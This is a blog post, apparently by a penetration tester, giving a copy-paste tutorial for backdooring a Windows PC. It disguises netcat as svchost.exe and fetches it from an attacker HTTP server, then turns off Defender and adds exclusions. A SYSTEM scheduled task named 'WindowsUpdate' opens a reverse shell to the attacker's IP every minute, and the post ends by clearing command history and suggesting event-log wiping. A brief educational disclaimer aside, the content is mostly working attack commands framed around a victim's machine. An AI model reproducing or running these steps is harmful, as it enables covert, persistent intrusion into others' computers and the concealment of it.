Sitemap

I Had 5 Minutes Alone With a Windows PC. Here’s What I Left Behind.: Windows Persistence via Scheduled Tasks

4 min readJul 21, 2026

--

This is how a bad employee or a determined attacker can own an internal Windows machine and maintain access indefinitely, even after reboots.

⚠️ Disclaimer

This article is for educational and research purposes only. The techniques demonstrated are intended to help security professionals understand attack vectors and defend their networks.

Do not use these methods on systems you do not own or have explicit written permission to test. Unauthorized access to computer systems is illegal and punishable by law.

I also created a script to automate all these tasks to save time, you just need a Rubber Ducky

https://medium.com/@sayoojs2005/mastering-windows-persistence-a-deep-dive-into-usb-rubber-ducky-backdoors-4677cf4d8ac2?sharedUserId=sayoojs2005

Delivery Methods

Before we begin, it’s important to understand that there are multiple ways to get netcat (or any payload) onto the target machine. In this demo, I’ll use a Python HTTP server to download the file. But you can use any method like USB, Any other file sharing or even you can use USB Rubber Ducky.

Step 0: Host Netcat on Attacker Machine

On your Kali/attacker machine Download Netcat and rename nc64.exe to svchost.exe to Avoids suspicion and Bypass casual inspection then start a Python HTTP server to host the netcat binary

Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size
Press enter or click to view image in full size

Now netcat is available at: http://[attacker-ip]:8000/svchost.exe

Step 1: Download Netcat to the Target

Before Downloading nc to target machine, now the windows will consider netcat as malicious and it will remove it. So first we need turn off virus and threat protection but after that we can turn on it. Because we are planning to exlcude the payload file from the defender.

Press enter or click to view image in full size

Then go to http://[attacker-ip]:8000/svchost.exe

Press enter or click to view image in full size

Download Netcat to the target machine and copy it into Temp Folder.

Press enter or click to view image in full size

Step 2: Exclude from Windows Defender

Now that the payload is on the system, we need to make sure Windows Defender doesn’t delete or quarantine it.

Add-MpPreference -ExclusionPath "C:\Windows\Temp\svchost.exe"
Add-MpPreference -ExclusionPath "C:\Windows\Temp\"

Windows Defender will now ignore anything in the excluded paths including our reverse shell.

Step 3: Verify Exclusions

Confirm that the exclusions were added successfully.

Get-MpPreference | Select-Object -Property ExclusionPath

Step 4: Create Persistent Scheduled Task

Now we create a scheduled task that runs our reverse shell every minute as SYSTEM. (Replace Attacker IP to yours)

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444" /sc minute /mo 1 /ru SYSTEM /f
Press enter or click to view image in full size

Step 5: Verify and Run the Task

schtasks /query /tn "WindowsUpdate"
schtasks /run /tn "WindowsUpdate"

Step 7: Clear PowerShell History

This removes any trace of the commands we just ran.

Clear-History

Note: This only clears the current session history. For complete forensic evasion, consider also clearing Event Logs and other artifacts.

Get Sayooj’s stories in your inbox

Join Medium for free to get updates from this writer.

Or you can just copy paste all in once (replace kali ip to yours)

Add-MpPreference -ExclusionPath “C:\Windows\Temp\svchost.exe”

Add-MpPreference -ExclusionPath “C:\Windows\Temp\”

Get-MpPreference | Select-Object -Property ExclusionPath

schtasks /create /tn “WindowsUpdate” /tr “C:\Windows\Temp\svchost.exe -e cmd.exe 192.168.29.67 4444” /sc minute /mo 1 /ru SYSTEM /f

schtasks /query /tn “WindowsUpdate”

schtasks /run /tn “WindowsUpdate”

Clear-History

Make sure to turn on Virus and Threat Protection back

Press enter or click to view image in full size

Step 8: Start Listener on Kali

Back on the attacker machine, start the netcat listener to receive the incoming connection.

Press enter or click to view image in full size
Press enter or click to view image in full size

You now have a SYSTEM shell on the target machine.

The beauty of this attack is that the scheduled task persists across reboots. Even if the victim restarts their machine:

  1. The task remains in the Task Scheduler database
  2. It triggers automatically on boot (if configured) or within 1 minute
  3. The reverse shell reconnects to your listener

--

--

Sayooj
Sayooj

Written by Sayooj

Pentester | Red Team | Security Researcher